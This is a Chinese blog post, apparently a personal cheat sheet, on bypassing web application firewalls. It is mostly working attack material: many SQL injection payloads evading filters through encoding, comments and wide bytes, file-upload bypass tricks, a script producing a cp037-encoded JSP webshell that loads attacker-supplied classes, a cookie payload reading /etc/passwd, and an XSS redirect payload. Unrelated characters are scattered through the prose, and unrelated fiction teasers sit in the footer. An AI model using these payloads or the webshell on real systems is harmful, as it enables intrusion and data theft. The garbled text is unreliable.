waf繞過小結(jié)

本文僅作學(xué)習(xí)記錄糙捺,如有侵權(quán)诫咱,請聯(lián)系刪除!:榈啤坎缭!

前言:


冒個泡,證明自己還在签钩,輸出自己關(guān)于waf繞過的積累

SQL注入:


  • 空格繞過:

每種類型的數(shù)據(jù)庫都允許使用空白字符掏呼。每個不同的RDBMS允許各種不同的空白字符,而不是通常的0x20铅檩。通過使用其他允許的空格字符切換標(biāo)準(zhǔn)空格憎夷,我們可以使某些防火墻無法識別注入,從而使我們能夠有效地繞過它們

1昧旨、/**/拾给、/*!*/、%09臼予、%0a鸣戴、%0b、%0c粘拾、%0d替代

id=-1'+/*!u%6eion*/+select+1,2,3%23

2窄锅、用注釋符+換行符替代空格,比如:--%0a

3缰雇、用注釋符+垃圾數(shù)據(jù)+換行符入偷,比如:--zxczcasd/*asdasd*/%0a

id=1%27--%0aor--%0aupdatexml(1,concat(0x7e,(select--%0atable_name--%0afrom--%0ainformation_schema.tables--%0awhere--%0atable_schema=database()--%0alimit--%0a0,1),0x7e),1)%23

4、用托號繞過空格:
如果空格被過濾械哟,括號沒有被過濾疏之,可以用括號繞過
在MySQL中,括號是用來包圍子查詢的暇咆。因此锋爪,任何可以計(jì)算出結(jié)果的語句,都可以用括號包圍起來爸业。而括號的兩端其骄,可以沒有多余的空格

select(user())from dual where(1=1)and(2=2)

這種過濾方法常常用于time based盲注:

id=1'and(if(ascii(substr(database(),1,1))>97,sleep(5),1))%23
id=1'and(if(ascii(substr(database()from(1)for(1)))>97,sleep(5),1))%23
id=1'and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

# from a for b:
從第a個字符開始讀取,共讀取b個字符
  • 引號繞過:

針對數(shù)字型注入扯旷,使用十六進(jìn)制繞過或者寬字節(jié)繞過:

select column_name  from information_schema.tables where table_name=0x7573657273
id=1'+and+extractvalue(0x31,0x636F6E63617428307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D6461746162617365282920616E64207461626C655F6E616D653D27757365727327206C696D697420302C31292C3078376529)%23

id=-1%df%27 union select 1,user(),3--+
id=-1y' union select 1,user(),3--+
id=-1%5c%5c%27 union select 1,user(),3--+  # 后面的 %5c 會被前面的 %5c 注釋掉

一般產(chǎn)生寬字節(jié)注入的PHP函數(shù):

1.replace():過濾 ' \ 拯爽,將 ' 轉(zhuǎn)化為 ' ,將 \ 轉(zhuǎn)為 \钧忽,將 " 轉(zhuǎn)為 " 毯炮。用思路一
2.addslaches():返回在預(yù)定義字符之前添加反斜杠(\)的字符串逼肯。
預(yù)定義字符:( ' , " , \ )用思路一(防御此漏洞,要將 mysql_query 設(shè)置為 binary 的方式)
3.mysql_real_escape_string()

  • 逗號繞過:

在使用盲注的時候桃煎,需要使用到substr(),mid(),limit篮幢。這些子句方法都需要使用到逗號。對于substr()和mid()這兩個方法可以使用from to的方式來解決:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2     
#等價于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=114
#等價于
select user() like 'r%'

對于limit可以使用offset來繞過:

select * from news limit 0,1
# 等價于下面這條SQL語句
select * from news limit 1 offset 0
  • 比較符繞過:

使用greatest()为迈、least():(前者返回最大值洲拇,后者返回最小值)

# greatest(n1,n2,n3,...)函數(shù)返回輸入?yún)?shù)(n1,n2,n3,...)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64

sqlmap中使用between的腳本進(jìn)行繞過

# 包含邊界值
select * from users where id between 1 and 10
  • and or xor not繞過:

and=&&  or=||   xor=|   not=!

id=1'+%26%26+'1'='1
  • 使用 And 0 的另一種方法:

任何等于 0 的數(shù)學(xué)/算術(shù)或邏輯問題:

And 1*0
And 1-1
And 0/1
mod(10,2)=0
power(4,3)=64
  • 使用 NULL 的另一種方法:

UNION SELECT 0,0,0,0
UNION SELECT false,false,false,false
UNION SELECT char(null),char(null),char(null),char(null)
UNION SELECT char(false),char(false,char(false),char(false)
UNION SELECT char(0),char(0),char(0),char(0)
UNION SELECT char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c)
UNION SELECT (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0)
UNION SELECT 34=35,34=35,34=35,34=35   
  • 注釋符繞過:

主要是想辦法閉合后面的引號,使sql語句能夠正常執(zhí)行

id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
  • =號繞過:

<曲尸、>、<>繞過

id=!(id <> 1);    # 相當(dāng)于id=1

like繞過:

% : 匹配0個或任意多個字符
_ : 匹配任意一個字符
escape : 轉(zhuǎn)義字符男翰,可匹配%和_另患。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'

rlike和REGEXP

rlike:模糊匹配,只要字段的值中存在要查找的 部分 就會被選擇出來
regexp:MySQL中使用 REGEXP 操作符來進(jìn)行正則表達(dá)式匹配

. : 匹配任意單個字符
* : 匹配0個或多個前一個得到的字符
[] : 匹配任意一個[]內(nèi)的字符蛾绎,[ab]*可匹配空串昆箕、a、b租冠、或者由任意個a和b組成的字符串鹏倘。
^ : 匹配開頭,如^s匹配以s或者S開頭的字符串顽爹。
$ : 匹配結(jié)尾纤泵,如s$匹配以s結(jié)尾的字符串。
{n} : 匹配前一個字符反復(fù)n次镜粤。

like是完全匹配捏题。rlike和regexp是不完全匹配,只要不同時匹配^和 $肉渴, 其他的包含即可

between公荧、strcmp繞過:

strcmp(str1,str2):若所有的字符串均相同,則返回STRCMP()同规,若根據(jù)當(dāng)前分類次序循狰,第一個參數(shù)小于第二個,則返回 -1券勺,其它情況返回 1

select * from users where id between 1 and 1
id=1' and substr(database(),1,1) between 'a' and 'z'%23

select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)
select strcmp(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)),117);

in 繞過:

id=1'+and+ascii(substr(database(),1,1))+in+('115')%23
  • 繞過union绪钥,select,where:

雙寫繞過
大小寫繞過
內(nèi)聯(lián)注釋繞過:

id=0'+/*!union*//*!select*/+1,updatexml(1,concat(0x7e,(select+database())),1),3%23
  • 等價函數(shù)繞過:

hex()朱灿、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()昧识、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
其他繞過技巧及思路:

  • MySQL數(shù)據(jù)庫支持兩種集合操作:UNION DISTINCT和UNION ALL,union其實(shí)是相當(dāng)于 union distinct
id=-1’union+distinct+select+sleep(2)#
  • 原理是waf把空字節(jié)認(rèn)為是結(jié)束導(dǎo)致了后面的語句可以繞過
id=-1' union select 1,2,3#  # 被攔截
id=-1%00' union select 1,2,3#    # 不攔截盗扒,同時可以對其進(jìn)行url編碼

Tips:針對有爆出sql語句且過濾了空格的注入跪楞,可以先fuzz一波缀去,看是否能找到一個會被替換為空的字符

更多方法及技巧請參考:
SQL注入 | 9種繞過Web應(yīng)用程序防火墻的方式

補(bǔ)充:

asp+iis的環(huán)境中,當(dāng)我們請求的url中存在單一的百分號%時甸祭,iis+asp會將其忽略掉缕碎,而沒特殊要求的waf當(dāng)然是不會的,比如:sel%ect

文件上傳繞過:


  • boundary=后面加tab鍵
  • 刪除Content-type后面的類型信息
  • 雙寫繞過
  • 正常圖片文件的內(nèi)容開頭
  • 利用windows特性:
  • 文件名大小寫繞過
  • 空格繞過池户,在文件名末尾添加
  • 點(diǎn)號繞過咏雌,在文件名末尾添加
  • 特殊符號繞過: test.php::$DATA、test.php:.jpg
  • 路徑拼接繞過: test.php. .(注意最后一個點(diǎn)前有空格校焦,適用于windows赊抖,且上傳的文件名沒有被修改)
  • 00截?cái)嗬@過:php5.3之前會把0x00當(dāng)做結(jié)束符,繞過白名單。首先創(chuàng)建文件test.jpg寨典,里面編輯php代碼氛雪,用burp截?cái)嗌蟼鳎诘谝恍猩蟼髀窂胶筇砑觮est.php%00即可耸成。
    注意:get型提交的內(nèi)容會被自動進(jìn)行url解碼报亩,使用00截?cái)嘁P(guān)閉GPC以及在收到的參數(shù)不使用addslashes函數(shù)。post型用burp截?cái)嗪缶猓话阍趐ath后面會顯示上傳路徑弦追,同理添加/test.php (注意php后要加一個空格),然后點(diǎn)擊Hex花竞,找到修改處那一行的hex值劲件,把其中的20改成00即可
  • 文件名后加/繞過
  • boundary等號前后空格繞過:Content-Type: multipart/form-data; boundary = ----WebKitFormBoundaryALNskmXp1LtKgXqu
    boundary等號前后ascii碼09繞過
  • cp037編碼繞過:Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryALNskmXp1LtKgXqu,charset=cp037
#python2
# 腳本內(nèi)置馬支持后綴jsp/jspx,都可解析
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
  <jsp:declaration>
    class PERFORM extends ClassLoader {
      PERFORM(ClassLoader c) { super(c);}
      public Class bookkeeping(byte[] b) {
        return super.defineClass(b, 0, b.length);
      }
    }
    public byte[] branch(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
  </jsp:declaration>
  <jsp:scriptlet>
    String cls = request.getParameter("xxoo");
    if (cls != null) {
      new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
    }
  </jsp:scriptlet>
</jsp:root>'''
fcp037 = open('cp037.jsp','wb')![](https://xzfile.aliyuncs.com/media/upload/picture/20220804173607-de2cfbb4-13d8-1.png)
fcp037.write(data.encode('cp037'))

生成出來左胞,burp選擇paste from file

  • filename中的文件名用換行分隔繞過(從文件名中間找個位置寇仓,不是文件擴(kuò)展名)
  • 黑名單上傳繞過:
  • 超長文件名繞過

在判斷存在waf之后,需要考慮waf對什么內(nèi)容進(jìn)行了檢測烤宙,常見的有:

  • 文件內(nèi)容
  • Content-Type
  • 后綴匹配

jsp內(nèi)容繞過的時候遍烦,一般都會對jsp中的%進(jìn)行檢測,可以嘗試修改一下上傳內(nèi)容如下:

filename:jsp
Content-Type:application/octet-stream
內(nèi)容:out.println ("helloworld")
  • content-Encoding/Accept-Encoding繞過:

利用原理:

在http協(xié)議中躺枕,可以對內(nèi)容(也就是body部分)進(jìn)行編碼服猪, 可以采用gzip這樣的編碼。從而達(dá)到壓縮的目的拐云。也可以使用其他的編碼把內(nèi)容攪亂或加密罢猪,以此來防止未授權(quán)的第三方看到文檔的內(nèi)容。

利用方法:

添加 Accept-Encoding: deflate/Accept-Encoding: gzip
添加 Content-Encoding: deflate/Accept-Encoding: gzip

  • Accept-Encoding:瀏覽器發(fā)給服務(wù)器,聲明瀏覽器(客戶端)支持的編碼類型叉瘩。設(shè)置在請求頭當(dāng)中膳帕,會告訴服務(wù)器,我可以接受哪種編碼壓縮。
  • Content-Encoding:決定文件接收方將以什么形式危彩、什么編碼讀取這個文件攒磨,指定服務(wù)器響應(yīng)的 HTTP 內(nèi)容類型。設(shè)置在響應(yīng)頭中汤徽,會告訴客戶端娩缰,我用的是哪種編碼壓縮。但是也可以放在Header頭上

當(dāng)服務(wù)端接收到請求谒府,并且從header里拿到編碼標(biāo)識時拼坎,就可以選擇其中一種方式來進(jìn)行編碼壓縮,然后返給客戶端完疫。

  • 換行+chunk 繞過:

通用繞過手段:


  • 直接通過真實(shí)ip訪問:

這是一種對待云waf最有效的辦法泰鸡,只要找到做cdn的之前的真實(shí)ip,那么直接通過ip訪問壳鹤,則會使云waf完全失效鸟顺,web應(yīng)用服務(wù)器失去云保護(hù)。

有時候通過ip去訪問一些網(wǎng)站會提示web頁面找不到器虾,可能是有些網(wǎng)站在路由上直接使用的域名為硬路由,這時候需要修改host 解析文件蹦锋,把相關(guān)域名和真實(shí)ip 給對應(yīng)上填上兆沙,再用域名去訪問。

# linux host文件路徑
/etc/hosts

# windows host文件路徑
C:\WINDOWS\system32\drivers\etc\hosts
  • 切換協(xié)議:

通過切換http到https莉掂,或者h(yuǎn)ttps切換到http葛圃,如果web站點(diǎn)沒有進(jìn)行強(qiáng)制https訪問,那么http也能訪問到其站點(diǎn)憎妙,如果waf錯誤配置库正,也能起到一點(diǎn)效果(方法比較特殊),還可以通過增加www厘唾,或者刪除www前墜有時也管用褥符。

  • 通過IPv6 訪問:

有許多入侵檢測系統(tǒng)也只監(jiān)控 IPv4 流量,沒有對IPv6 進(jìn)行監(jiān)控抚垃。
訪問格式:http://[ipv6地址]:80/index.html
ipv6為:2001:470:c:1818::2
訪問地址:http://[2001:470:c:1818::2]:80/index.html

  • 對http包頭進(jìn)行修改:

比如添加以下標(biāo)頭:

X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
x-client-ip

在一些做了訪客流量負(fù)載的web架構(gòu)很常見喷楣,他并不是把web服務(wù)器映射出去,而是把外面的訪問流量通過一臺流量轉(zhuǎn)發(fā)機(jī)器轉(zhuǎn)發(fā)到內(nèi)網(wǎng)web應(yīng)用服務(wù)器鹤树,這種形式的話铣焊,在轉(zhuǎn)發(fā)進(jìn)來的數(shù)據(jù)包中就會出現(xiàn)X-forwarded-for 等字段,標(biāo)示著是哪個ip訪問的web服務(wù)罕伯。

如果包存在:Content-Type: text/html曲伊,那么可以嘗試做以下修改:

Content-Type:           #直接刪除類型值
Content-Type: text/htmlzzzzzzzzz   #錯誤的類型值
Content-Type: application/octet-stream #其他類型值

有時候?qū)?MIME 類型設(shè)置為 multipart/form 數(shù)據(jù)然后對請求進(jìn)行錯誤處理也有奇效。

Content-Type: multipart/form-data ; boundary=0000
Content-Type: mUltiPart/ForM-dATa; boundary=0000
Content-Type: multipart/form-datax; boundary=0000
Content-Type: multipart/form-data, boundary=0000
Content-Type: multipart/form-data boundary=0000
Content-Type: multipart/whatever; boundary=0000
Content-Type: multipart/; boundary=0000

嘗試修改HTTP請求方法把get 改成post 追他,post改成get坟募,或者改成put岛蚤,有時候錯誤方法也能成功訪問,請求可以通過GETS而不是GET發(fā)送婿屹,并且在許多情況下仍會按預(yù)期運(yùn)行灭美。

特別是在 PHP 中,根據(jù)配置昂利,cookie 值可以被視為參數(shù)

/cmd/a.php

cookie: cmd1=;cat /etc/passwd

還有的是就是把http協(xié)議 1.1 改成1.0 届腐,因?yàn)榇蟛糠址?wù)器也支持1.0版本。

  • 通過硬編碼值造成繞過:

PHP 中的+符號可用于實(shí)現(xiàn)此目的蜂奸,而 ASP 中的%符號將實(shí)現(xiàn)類似的結(jié)果犁苏。

在 ASP 中,可以將無效的 URL 編碼添加到參數(shù)名稱中(請注意扩所,編碼必須無效才能正常工作)

/cmd/a.php?%value=payload
/cmd/a.php?%}9value=payload

在 PHP 中围详,加號可以達(dá)到同樣的效果:

/cmd/a.php?+value=payload
  • 分塊傳輸繞過:

注意:只有HTTP/1.1支持分塊傳輸

  • 協(xié)議未覆蓋繞過:

針對POST請求,POST請求常用有2種參數(shù)提交方式:

Content-Type: application/x-www-form-urlencoded;
Content-Type: multipart/form-data;
Content-Type: text/xml
Content-Type: application/json
Content-Type: text/plain

其中multipart/form-data表示數(shù)據(jù)被編碼為一條消息祖屏,頁上的每個控件對應(yīng)消息中的一個部分

市場上大部分的WAF會解析這行 Content-Type 去識別是否是POST注入助赞,因?yàn)橐乐狗椒ㄎ廴尽K晕覀兙涂梢愿鶕?jù)這個特性來設(shè)置不同的Content-Type利用嘗試?yán)@過WAF

繞過原理:

若Waf未能覆蓋Content-Type: multipart/form-data從而導(dǎo)致被繞過袁勺”⑹常或者WAF會認(rèn)為它是文件上傳請求,從而只檢測文件上傳期丰,導(dǎo)致被繞過

利用谷歌插件Request Maker進(jìn)行測試:
原始請求:

修改Content-Type后群叶,進(jìn)行抓包:

如果發(fā)現(xiàn)可以成功繞過waf,直接將數(shù)據(jù)包丟進(jìn)sqlmap跑即可:

爭對Get請求同理钝荡,將Content-Type改成:application/x-www-form-urlencoded或者multipart/form-data

  • HPP參數(shù)污染/垃圾字符繞過:

在php中街立,如果遇到多個參數(shù),那么是從右到左來取參數(shù)值:

當(dāng)查詢字符串多次出現(xiàn)同一個key時埠通,假設(shè)提交的參數(shù)即為:id=1&id=2&id=3赎离,根據(jù)容器不同會得到不同的結(jié)果:

Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
php + apache:id=3

  • 垃圾數(shù)據(jù)繞過:

在數(shù)據(jù)包鐘填入一些不影響結(jié)果的數(shù)據(jù),比如遇到php站端辱,可以配合HPP參數(shù)污染來填入辣雞數(shù)據(jù)

  • 通過變換路徑來bypass:

一些waf 或者web應(yīng)用通過web路由進(jìn)行封禁蟹瘾,體現(xiàn)為訪問某個特定的url路徑為403 等狀態(tài)。

  • url編碼繞過:
id=0' union select 1,updatexml(1,concat(0x7e,(select+database())),1),3#
# 將其進(jìn)行url編碼掠手,等價于
id=%30%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%2b%64%61%74%61%62%61%73%65%28%29%29%29%2c%31%29%2c%33%23
  • 雙重url編碼:

對字符應(yīng)用URL編碼兩次的過程憾朴。所需要的只是重新編碼百分號。如果數(shù)據(jù)在通過防火墻之后和到達(dá)數(shù)據(jù)庫之前被解碼兩次喷鸽,則此編碼成功

  • ascll編碼繞過:
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) limit 0,1),0x7e))#
  • unicode編碼繞過:

iis支持unicode的解析众雷,當(dāng)我們請求的url存在unicode字符串的話iis會自動將其轉(zhuǎn)換,但waf不一定,比如:s%u0065lect->select

UTF-8 編碼表:https://www.utf8-chartable.de/

Unicode編碼種類繁多砾省,基于黑名單的過濾器存在無法處理的情況鸡岗,從而實(shí)現(xiàn)繞過

# 常用的幾個符號的一些Unicode編碼:
單引號:%u0027、%u02b9编兄、%u02bc轩性、%u02c8、%u2032狠鸳、%uff07揣苏、?'、?件舵、?(%c0%27卸察、%c0%a7%27、%e0%80%a7%27)
空格:%u0020铅祸、%uff00坑质、? 、?临梗、?(%c0%20涡扼、%c0%a0、%e0%80%a0)
左括號:%u0028盟庞、%uff08壳澳、?(、?茫经、?(%c0%28、%c0%a8萎津、%e0%80%a8)
右括號:%u0029卸伞、%uff09、?)锉屈、?荤傲、?(%c0%29、%c0%a9颈渊、%e0%80%a9)

id=1%u0027%u002b%u0061%u006e%u0064%u002b%u0031%u003d%u0031%u0023    #UTF-8
SELECT '?'='A';
id=10%D6‘%20AND%2201=2%23

畸形協(xié)議&請求:

asp/asp.net在解析請求的時候遂黍,允許application/x-www-form-urlencoded的數(shù)據(jù)提交方式,不管是GET還是POST俊嗽,都可正常接收雾家,過濾GET請求時如果沒有對application/x-www-form-urlencoded提交數(shù)據(jù)方式進(jìn)行過濾,就會導(dǎo)致任意注入绍豁。

php+Apache:

waf通常會對請求進(jìn)行嚴(yán)格的協(xié)議判斷,比如GET、POST等无拗,但是apache解析協(xié)議時卻沒有那么嚴(yán)格带到,當(dāng)我們將協(xié)議隨便定義時也是可以的:

  • 補(bǔ)充:
  1. 觀察接口信息,發(fā)現(xiàn)接口名字為UploadImg英染,猜測該接口用于圖片上傳揽惹,按照開發(fā)的習(xí)慣,保不準(zhǔn)會存在temp、test箭养,這類的接口

  2. 有些時候文件上傳成功后端沒有返回路徑慕嚷,只回顯了一個id號,這時候如果目標(biāo)存在注入的話,我們可嘗試用sqlmap的--search參數(shù)或者SQLshell對返回的ID號進(jìn)行搜索挠说,這樣說不定就能找到shell地址了

  3. 在某些時候,當(dāng)前上傳文件夾無執(zhí)行權(quán)限愿题,可以考慮通過../跨目錄上傳文件损俭。另外,如果上傳目錄可控潘酗,可上傳文件到任意目錄的話杆兵,在linux場景我們可上傳一個ssh秘鑰用于遠(yuǎn)程登錄,極端一點(diǎn)的話仔夺,可考慮上傳passwd琐脏、shadow文件覆蓋系統(tǒng)用戶,但前提是權(quán)限要足夠大缸兔。

如果不能跨目錄日裙,站點(diǎn)又沒有注入的話,那么我們可以嘗試尋找網(wǎng)站日志文件惰蜜,例如泛微E-COLOGY日志的日志昂拂,像這種日志文件是有規(guī)律可循的,可以用burp進(jìn)行日志爆破抛猖,或許在日志文件中能找到shell路徑也說不定政钟,如果在日志中沒有發(fā)現(xiàn)shell地址路克,那么可進(jìn)一步觀察日志里的文件路徑,諸如upload养交,filepath這類路徑精算,舉一反三,可對這些路徑fuzz shell地址碎连。

  • 一個白名單繞過案例:

看到這種情況估計(jì)不少師傅都會認(rèn)為后端做了白名單限制上傳了吧

錯誤回顯提示了只能上傳ppt/pptx/doc/docx/xls/xlsx/rar/jpg/png類型灰羽,但在后續(xù)的測試中,發(fā)現(xiàn)了types類型可控鱼辙,且在存在多個后綴的情況下廉嚼,后端只保留最后一個后綴,并重命名文件倒戏,所以只要上傳后綴包含了白名單限制內(nèi)的類型即可繞過怠噪,如(test.png.jsp),只會保留.jsp后綴杜跷,如下:

  • 上傳繞過案例二:

一個把圖片轉(zhuǎn)base64的文件上傳類型:

通過抓包發(fā)現(xiàn)圖片是以base64進(jìn)行上傳的傍念,觀察了下數(shù)據(jù)包,發(fā)現(xiàn)可通過更改upload_0字段內(nèi)容上傳任意文件

  • 上傳繞過案例三:

測試發(fā)現(xiàn)fileName和fileType參數(shù)可控葛闷,且當(dāng)存在兩個不同的后綴時憋槐,最上層的filename參數(shù)優(yōu)先級為最高,可導(dǎo)致任意文件上傳

  • 上傳繞過案例四:
  1. 嘗試雙寫繞過:

發(fā)現(xiàn)只判斷第一行的文件后綴淑趾,對第二行不做檢測

  1. 嘗試去掉filename的雙引號及大小寫繞過:
  1. 嘗試HPP繞過:
  1. 換行繞過:

目前已知:

換行雙寫閉合不檢測
同一行filename可雙寫
換行雙寫filename無閉合會檢測
不閉合單filename可寫入

成功繞過:

當(dāng)filename無閉合的時候阳仔,它會判斷下面一行是否為不允許上傳的類型,如果不是扣泊,第一行filename內(nèi)容就會上傳過去

補(bǔ)充:

當(dāng)waf對一些彈窗方法進(jìn)行過濾時近范,獲取對單雙引號進(jìn)行過濾時,可以使用location.href配合String.fromCharCode使其變?yōu)閁RL重定向漏洞:

<img/src=1 onmousemove=location.href=String.fromCharCode(104,116,116,112,115,58,47,47,119,119,119,46,98,97,105,100,117,46,99,111,109)

參考如下:


SQL注入繞過技巧
sql注入繞過方法總結(jié)
SQL注入的優(yōu)化和繞過
某系統(tǒng)Oracle+盲注Bypass
文件上傳之某開waf-bypass(2)
紅隊(duì)攻擊-繞過waf以及IDS等流量設(shè)備
我的wafBypass之道 - 云+社區(qū) - 騰訊云
技術(shù)討論 | 在HTTP協(xié)議層面繞過WAF
實(shí)戰(zhàn)繞過雙重waf結(jié)合sqlmap tamper獲取數(shù)據(jù)
通過 SQL 函數(shù)繞過 SQL 注入 WAF 的案例研究
web滲透測試中WAF繞過講解(二)基于HTTP協(xié)議繞過
任意文件上傳之繞過云waf+本地防火墻雙重防護(hù)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
禁止轉(zhuǎn)載延蟹,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者评矩。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市等孵,隨后出現(xiàn)的幾起案子贸毕,更是在濱河造成了極大的恐慌炫乓,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,657評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件买优,死亡現(xiàn)場離奇詭異上枕,居然都是意外死亡咐熙,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評論 3 394
  • 文/潘曉璐 我一進(jìn)店門辨萍,熙熙樓的掌柜王于貴愁眉苦臉地迎上來棋恼,“玉大人返弹,你說我怎么就攤上這事∽ζ” “怎么了义起?”我有些...
    開封第一講書人閱讀 164,057評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長师崎。 經(jīng)常有香客問我默终,道長,這世上最難降的妖魔是什么犁罩? 我笑而不...
    開封第一講書人閱讀 58,509評論 1 293
  • 正文 為了忘掉前任齐蔽,我火速辦了婚禮,結(jié)果婚禮上床估,老公的妹妹穿的比我還像新娘含滴。我一直安慰自己,他們只是感情好丐巫,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,562評論 6 392
  • 文/花漫 我一把揭開白布谈况。 她就那樣靜靜地躺著,像睡著了一般鞋吉。 火紅的嫁衣襯著肌膚如雪鸦做。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,443評論 1 302
  • 那天谓着,我揣著相機(jī)與錄音泼诱,去河邊找鬼。 笑死赊锚,一個胖子當(dāng)著我的面吹牛治筒,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播舷蒲,決...
    沈念sama閱讀 40,251評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼耸袜,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了牲平?” 一聲冷哼從身側(cè)響起堤框,我...
    開封第一講書人閱讀 39,129評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎纵柿,沒想到半個月后蜈抓,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,561評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡昂儒,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,779評論 3 335
  • 正文 我和宋清朗相戀三年沟使,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片渊跋。...
    茶點(diǎn)故事閱讀 39,902評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡腊嗡,死狀恐怖着倾,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情燕少,我是刑警寧澤卡者,帶...
    沈念sama閱讀 35,621評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站棺亭,受9級特大地震影響虎眨,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜镶摘,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,220評論 3 328
  • 文/蒙蒙 一嗽桩、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧凄敢,春花似錦碌冶、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,838評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至拒逮,卻和暖如春罐氨,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背滩援。 一陣腳步聲響...
    開封第一講書人閱讀 32,971評論 1 269
  • 我被黑心中介騙來泰國打工栅隐, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人玩徊。 一個月前我還...
    沈念sama閱讀 48,025評論 2 370
  • 正文 我出身青樓租悄,卻偏偏與公主長得像,于是被迫代替她去往敵國和親恩袱。 傳聞我的和親對象是個殘疾皇子泣棋,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,843評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 16宿命:用概率思維提高你的勝算 以前的我是風(fēng)險厭惡者,不喜歡去冒險畔塔,但是人生放棄了冒險潭辈,也就放棄了無數(shù)的可能。 ...
    yichen大刀閱讀 6,049評論 0 4
  • 公元:2019年11月28日19時42分農(nóng)歷:二零一九年 十一月 初三日 戌時干支:己亥乙亥己巳甲戌當(dāng)月節(jié)氣:立冬...
    石放閱讀 6,879評論 0 2
  • 今天上午陪老媽看病澈吨,下午健身房跑步把敢,晚上想想今天還沒有斷舍離,馬上做棚辽,衣架和旁邊的的布衣架技竟,一看亂亂冰肴,又想想自己是...
    影子3623253閱讀 2,912評論 1 8